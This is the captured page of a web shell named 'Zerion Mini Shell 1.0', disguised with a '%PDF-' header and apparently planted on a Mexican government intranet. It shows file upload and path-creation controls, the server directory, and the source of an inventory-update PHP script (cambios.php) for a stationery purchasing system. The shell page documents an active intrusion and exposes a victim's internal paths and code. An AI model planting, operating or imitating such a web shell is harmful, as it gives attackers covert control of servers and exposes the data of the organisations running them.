%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/cambios.php

<?php
include "../../config/config.php";
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

// Conexión a la base de datos
$conn = new Configuracion();
    $conn->conectarBD();

// Cargar archivo Excel
$archivoExcel = 'ruta_al_archivo.xlsx';
$spreadsheet = IOFactory::load($archivoExcel);
$sheet = $spreadsheet->getActiveSheet();
$rows = $sheet->toArray();

// Lista para códigos no encontrados
$noEncontrados = [];

foreach ($rows as $index => $row) {
    if ($index === 0) continue; // Saltar encabezado

    $codigo = $conn->real_escape_string(trim($row[0])); // CODIGO
    $almacen = floatval($row[2]); // ALMACEN
    $costo = floatval($row[4]);   // COSTO

    // Obtener id_articulo a partir del código
    $result = $conn->query("SELECT id_articulo FROM compras_papeleria WHERE codigo = '$codigo' LIMIT 1");

    if ($result && $rowArticulo = $result->fetch_assoc()) {
        // Actualizar existencia y precio
        $id_articulo = $rowArticulo['id_articulo'];
        
        $update = "
            UPDATE compras_papeleria 
            SET existencia = $almacen, 
                precio = $costo 
            WHERE codigo = '$codigo'";
        $conn->actualizacion($update);
        
        // Actualizar existencia y existencia_actual en compras_papeleria_existencia
        $updateExistencia = $conn->actualizacion("UPDATE compras_papeleria_existencia 
                                         SET existencia_actual = $almacen, precio = $costo
                                         WHERE id_articulo = $id_articulo");

        if (!$updatePrecio || !$updateExistencia) {
            echo "Error al actualizar el artículo con código $codigo: " . $conn->error . "<br>";
        }
    } else {
        // Guardar código no encontrado
        $noEncontrados[] = $codigo;
    }
}

$conn->close();

// Mostrar resultados
if (!empty($noEncontrados)) {
    echo "Códigos NO encontrados en la base de datos:\n";
    foreach ($noEncontrados as $codigo) {
        echo "- $codigo\n";
    }
} else {
    echo "Todos los códigos fueron encontrados y actualizados correctamente.";
}
?>

Zerion Mini Shell 1.0